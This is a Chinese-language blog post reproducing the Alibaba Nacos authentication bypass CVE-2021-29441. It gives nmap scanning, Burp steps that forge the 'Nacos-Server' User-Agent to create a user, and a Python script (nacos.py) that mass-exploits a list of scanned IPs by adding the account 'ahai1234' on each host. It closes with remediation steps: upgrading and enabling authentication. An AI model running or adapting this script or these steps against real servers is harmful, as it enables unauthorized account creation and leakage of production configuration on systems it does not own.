Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441)

漏洞名称:

Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441)

简介:

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

影响版本:

2.1.0之前(有验证过,2.0.4仍可以被利用)

复现

1.用工具扫描nacos端口

fscan扫描

nmap扫描

nmap -sT 192.168.35.0/24 -p 8848 --open

2.打开页面

3.修改url

/nacos/v1/auth/users?pageNo=1&pageSize=100

4.打开burp抓包并篡改请求

a.监听8080本机8080端口

b.浏览器修改代理,代理为本机8080端口(火狐为例)

c.开始抓包

d.用浏览器访问地址

打开http://your-ip:8848/nacos/v1/auth/users

e.看到请求报文

f.修改请求报文




具体修改步骤如下:

1.修改请求方式,GET改成POST
2.User-Agent修改成Nacos-Server:
3.添加要创建的用户和密码
username=demo&password=demo
4.修改完请求后,按go发送请求

访问http://your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=100
可以看到自己创建的用户名和密码已创建成功

5.用咱们创建的用户进行登录


到这里我们就已经完成了漏洞复现全过程,获取所有的配置信息。造成生产配置泄漏。
思考:
如果能用脚本批量去扫描并利用漏洞注入新用户,那不是最直接有效的证明漏洞的存在,所以就在网上找了大佬的poc,根据自己需求改起来哈哈哈

nacos.py

# coding=utf-8


import time
import requests
import urllib3


urllib3.disable_warnings()
headers = {
#    'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
    'User-Agent': "Nacos-Server",
    "Accept-Encoding": "gzip, deflate",
}

def nacos(ip):
    try:
        check_url = '/nacos/v1/auth/users'
        exp_data = {
            "username": "ahai1234",
            "password": "ahai1234",
        }
        check_url2 = ip + '/nacos/v1/auth/users?pageNo=1&pageSize=100'
        poc_url = ip + check_url
        response = requests.post(url=poc_url, headers=headers, timeout=10, verify=False, data=exp_data)
        res_data = response.text
        #print(res_data)
        if "already exist!" in res_data:
            print('用户名ahai123已经存在', check_url2)
        elif "create user ok!" in res_data:
            res = requests.get(url=check_url2, headers=headers, timeout=10, verify=False)
            if "ahai123" in res.text:
               print(ip)
               print("添加用户名成功")
        else:
             print(ip)
             print("漏洞利用失败")
    except:
        print(ip) 
        print("连接超时!")


def get_url():
    with open('ip.txt', 'r') as f:
        ips = f.readlines()
        for ip in ips:
            ip = ip.strip()
            #print(ip)
            if ip[0:5] == 'https':
                ip = ip
            elif ip[0:4] == 'http':
                ip = ip
            else:
                ip = 'http://' + ip
            nacos(ip)


if __name__ == "__main__":
    get_url()

ip.txt为之前扫描出来的有nacos的ip地址

可以看出有些nacos还是会利用失败

测试中发现有部分nacos曾经被攻击过,网络安全堪忧。。。。。。。

修复步骤(1和2都必须执行)

1.升级到最新版本的nacos

2.修改配置文件application.properties

nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos

3.代码升级(转载,待验证)

分别在 spring.cloud.nacos.discovery和 spring.cloud.nacos.config中添加你安装nacos的账号和密码

修改nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value值为自定义值

验证结果

实测用最新的2.1.0,需修改配置后,完全规避该漏洞。
2.0.4及以前的,就算改配置,漏洞也还是可以利用。
因此升级版本是必须的。

参考:
https://www.jianshu.com/p/e18e3e6fd6d4
http://events.jianshu.io/p/551e36705842
https://blog.csdn.net/majunssz/article/details/124337237
https://github.com/alibaba/nacos/releases
https://blog.csdn.net/Hoopy_Hoopy/article/details/120283270?spm=1001.2014.3001.5502

posted @ 2023-02-24 13:48  海yo  阅读(4911)  评论(0编辑  收藏  举报